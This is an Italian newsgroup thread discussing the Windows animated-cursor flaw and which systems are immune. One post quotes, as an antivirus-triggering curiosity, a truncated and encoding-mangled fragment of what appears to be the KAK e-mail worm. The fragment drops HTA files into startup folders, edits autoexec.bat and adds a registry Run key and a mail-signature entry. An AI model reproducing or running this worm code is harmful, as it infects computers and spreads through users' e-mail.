Newsgroup: it.comp.macintosh
Titolo: Re: [OT] Cursori animati


http://www.securityfocus.com/archive/1/464269
P4 pare essere scomparso! O_o
BTW, pare che Vista con UAC attivo + IE7 (o anche Opera in solitario,
da quanto leggo) sia immune!
Non mi e' chiaro se la falla funziona anche con i sistemi aventi l'NX
bit! ?_?

ROTFL
Telnet e' poco sicuro, meglio ssh telnet! :P
BTW, pare che Outlook 2007 (e anche il 2003, se usato in modalita'
plain text) sia immune: 
http://isc.sans.org/diary.html?storyid=2539

Che dio che daghi.
What? ?_?

 plain text) sia immune: 
http://isc.sans.org/diary.html?storyid=2539
Fino a qualche anno fa Autlook Express faceva trillare l'AV anche in un
pezzetto di codice in plain text (gli utenti di quel newsreader
confermano se ancora ..?): 
<SCRIPT><!-- 
function sErr(){return = 
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>D
r= 
iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" = 
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object = 
id=3D'wsh' = 
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9- 
00C04FD58A0B'></"+"object><SCRIP= 
T>function sEr(){self.close();return 
true;}window.onerror=3DsEr;fs=3Dnew = 
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=
3D= 
fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew = 
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD
=C9 = 
~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\
\= 
\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExist
s= 
(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fi
l= 
eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Df
s= 
.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkf
r= 
)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine(
'= 
@echo off>'+pth);t1.WriteLine('del = 
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile
(= 
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGED
I= 
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+i
d= 
n+'\\\\Software\\\\Microsoft\\\\Outlook = 
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('
\= 
"Default = 
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\
\= 
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature = 
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=
3D= 
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wr
i= 
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature = 
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOC
A= 
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]'
)= 
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.
h= 
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s = 
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><
B= 
ODY><DIV = 
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z- 
INDEX:5\"><OBJECT = 
-- 
Salva saluti da:
echo 40959219681464777729187986074393988395592896740592906P | dc
Volete un mondo pulito? Scopate!

confermano se ancora ..?): 
Proverei io, ma non ho voglia di configurare OE solo per questo! ^_-
BTW, pare che Win su sistemi con il supporto a NX Bit sia immune!